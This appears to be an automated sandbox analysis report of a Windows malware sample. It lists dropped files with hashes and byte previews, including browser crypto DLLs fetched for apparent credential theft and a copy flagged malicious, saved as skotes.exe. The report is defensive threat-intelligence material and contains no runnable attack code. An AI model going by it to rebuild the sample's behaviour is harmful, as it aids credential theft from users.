Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.G.t.C.w.U.8.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.M.2.g.K.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9990921914255617
Encrypted:	false
SSDEEP:	96:JMYFbl29wG0IUaPlpDsE1ZfFbuOv82sEIuzCxL98i24XrwkOZ:eM6wBIlPjDHZEmsEbCubkU
MD5:	68CD3E4076F2A97536F1DFA3EEDCD746
SHA1:	D4425B3D794C511C470D7BE363733FBAC4A47A01
SHA-256:	2D594604B7649F2D108D71B86FF9832CDF0F2DE74985F7CD2CFCD6BC592749E2
SHA-512:	E51E432555BFDD8D51C0F093E5D853D290E976136E237AC3CDDF612720BE70598F5E2A0528169CB37EF851BA27450D0C463D7B4D07F8BD9FCC1A555B8E22B301
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".o.J.0.T.p.0.c.8.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.M.2.g.K.f.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.903055742523153
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xfxl9Il8uN0iqW7AHzRgjTd+rpH4Zdct99aG1EpF2XpFd/vc:aBYIHzyfdHQdaG1oF2Xpk
MD5:	11D790576AF10305D99919CA8560A8AF
SHA1:	1A7A8277CB998D825D2C37636D225CAD03F080F4
SHA-256:	048C2F4E6538BE62204E3CE0DE88FB4829A2C542891DC71BDB33FB61834E13D3
SHA-512:	C0BCF1732F4A8FB0CF2D090B01E5DC4F4C0214531AF1F2979D413C8F62FA6669DC51A65374D733A1003D0F24D096EB4AE60DD3A91258348E9CA2227580BE4C2C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".K.r.f.p.1.x.h.b.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.z.M.2.g.K.f.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37131804699675
Encrypted:	false
SSDEEP:	48:SfNaoQVTEQhYfNaoQF/2Q3fNaoQxQsfNaoQW0UrU0U8Qg:6NnQVTEQhkNnQ0QvNnQxQYNnQW0UrU03
MD5:	891BC8269470639E83DDA4FA3C4E16C3
SHA1:	25470E1EBD728BD8A56CB787FA20C83FACF8B5F2
SHA-256:	E77E9E71CB9626AC3CDF1AD78613DAE417AA1A18D33BF02A37738D566C2D7963
SHA-512:	5BCBDE943365C0A56CE37F809ED0A97C93911126DF1AB04D1316E00F7702A6A0DEFB27FCCCA48C344561EDF1BBDD1CECF2C4C607FB7FC407515D445B83D56F33
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/253BCC303A9934EC905B0F18A7F888F6",.. "id": "253BCC303A9934EC905B0F18A7F888F6",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/253BCC303A9934EC905B0F18A7F888F6"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EA3448057BA02ABE8817F0537D47D811",.. "id": "EA3448057BA02ABE8817F0537D47D811",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EA3448057BA02ABE8817F0537D47D811"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9456851567698505
Encrypted:	false
SSDEEP:	49152:Kpe2Nf+D/CmuxmmCTHmn0sPx6rvwEyw1lkpR4Yk4Pbdt50O:R21ya98mYUPoroVslWuLebdb
MD5:	873F4FF6922F79ACA237323377183153
SHA1:	C0E782AB9058AFB71626FAE94FDD996CBEDA934A
SHA-256:	BAFD70CDB59A7B667840982897D95DCBB9FCF86BDE1267AACC5F7B8DCDBA0271
SHA-512:	7FA1C35440711D5F2AC374678BA37B485E73E9E592EA1592268DB5420B35C374595B79050CED86CBED22FFE9BFB94A5799527A0E375DB37F2A186C911F1C10E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......a....@.................................W...k.......H................... .K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .p*.........................@...cimbrsfq..... 1.....................@...tyuvqqsb..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.395495781521284
Encrypted:	false
SSDEEP:	96:6NnQQbJHQQONnQkbQHNnQNvy9QNZNnQhdgEQuNnQsQrNnQmhJDQmMNnQhewQYNnZ:6NxbDONqN4vZZNITNwNBSNqeMNt3
MD5:	7AC6A77EEAF0E2D52FF9D65C39CD5646
SHA1:	4D23ADD43E82D769D8A74D76C492C6C11FCB4282
SHA-256:	D6D6F95EFE22C2F590B3AF5745A4AD059AD613461E49ADD17E18E96577C372E5
SHA-512:	BA7EA622C27C9EA116B59BAF99110D2F95692E7F8C17A96472A91C61F2A43E230FF0A53760771220784AE10D1D61F4E666FD79BF5CD66ECD8DB92971D50A451E
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/4CA4E473C6581A64B3D81ADB3FD395DF",.. "id": "4CA4E473C6581A64B3D81ADB3FD395DF",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/4CA4E473C6581A64B3D81ADB3FD395DF"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/BAD83E1BE3F5AF5FF40C91CCF2D1AD59",.. "id": "BAD83E1BE3F5AF5FF40C91CCF2D1AD59",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/BAD83E1BE3F5AF5FF40C91CCF2D1AD59"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\0ed74196-5e5f-4e82-990e-02802c4f079b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\2a6b4d7e-67ce-470b-926d-4271256d6280.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\35abecd3-59c8-4aea-8cc5-39e958ca198d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\66094139-062f-4357-9946-00e432bc30ef.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsFIJKEHJJDA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.9456851567698505
Encrypted:	false
SSDEEP:	49152:Kpe2Nf+D/CmuxmmCTHmn0sPx6rvwEyw1lkpR4Yk4Pbdt50O:R21ya98mYUPoroVslWuLebdb
MD5:	873F4FF6922F79ACA237323377183153
SHA1:	C0E782AB9058AFB71626FAE94FDD996CBEDA934A
SHA-256:	BAFD70CDB59A7B667840982897D95DCBB9FCF86BDE1267AACC5F7B8DCDBA0271
SHA-512:	7FA1C35440711D5F2AC374678BA37B485E73E9E592EA1592268DB5420B35C374595B79050CED86CBED22FFE9BFB94A5799527A0E375DB37F2A186C911F1C10E8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................0K...........@..........................`K......a....@.................................W...k.......H................... .K...............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... .p*.........................@...cimbrsfq..... 1.....................@...tyuvqqsb..... K.....................@....taggant.0...0K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\c799700a-e8d3-4c85-8c64-c3f55140b87a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... 